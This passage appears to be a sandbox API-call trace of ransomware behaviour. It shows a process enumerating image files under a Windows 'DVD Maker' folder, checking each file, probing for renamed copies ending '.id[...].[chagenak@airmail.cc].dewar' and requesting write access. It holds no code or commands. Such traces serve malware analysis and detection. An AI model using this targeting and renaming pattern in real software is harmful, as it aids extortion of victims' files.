Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.824] SetEvent (hEvent=0x118) returned 1 [0250.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.826] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=24557) returned 1 [0250.826] CloseHandle (hObject=0x1fc) returned 1 [0250.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0250.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0250.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.830] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5088) returned 1 [0250.831] CloseHandle (hObject=0x1fc) returned 1 [0250.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0250.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0250.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.840] SetEvent (hEvent=0x118) returned 1 [0250.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.844] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3130) returned 1 [0250.844] CloseHandle (hObject=0x1fc) returned 1 [0250.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0250.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0250.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.845] SetEvent (hEvent=0x118) returned 1 [0250.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.848] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5025) returned 1 [0250.848] CloseHandle (hObject=0x1fc) returned 1 [0250.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0250.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0250.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.849] SetEvent (hEvent=0x118) returned 1 [0250.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.853] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3118) returned 1 [0250.853] CloseHandle (hObject=0x1fc) returned 1 [0250.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0250.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0250.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.854] SetEvent (hEvent=0x118) returned 1 [0250.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.858] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4955) returned 1 [0250.858] CloseHandle (hObject=0x1fc) returned 1 [0250.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0250.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0250.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.859] SetEvent (hEvent=0x118) returned 1 [0250.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.862] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0250.863] CloseHandle (hObject=0x1fc) returned 1 [0250.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0250.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0250.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.864] SetEvent (hEvent=0x118) returned 1 [0250.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.875] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=45199) returned 1 [0250.876] CloseHandle (hObject=0x1fc) returned 1 [0250.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0250.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0250.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.877] SetEvent (hEvent=0x118) returned 1 [0250.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.878] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3122) returned 1 [0250.878] CloseHandle (hObject=0x1fc) returned 1 [0250.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0250.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0250.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.880] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1400) returned 1 [0250.880] CloseHandle (hObject=0x1fc) returned 1 [0250.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0250.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0250.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.882] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=35858) returned 1 [0250.882] CloseHandle (hObject=0x1fc) returned 1 [0250.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0250.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0250.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0251.692] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=194963) returned 1 [0251.692] CloseHandle (hObject=0x1e0) returned 1 [0251.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0252.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0252.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.080] SetEvent (hEvent=0x118) returned 1 [0252.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.082] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=10254) returned 1 [0252.082] CloseHandle (hObject=0x1e0) returned 1 [0252.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0252.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0252.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.087] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=10248) returned 1 [0252.087] CloseHandle (hObject=0x1e0) returned 1 [0252.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0252.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0252.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.088] SetEvent (hEvent=0x118) returned 1 [0252.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.090] GetFileSizeEx 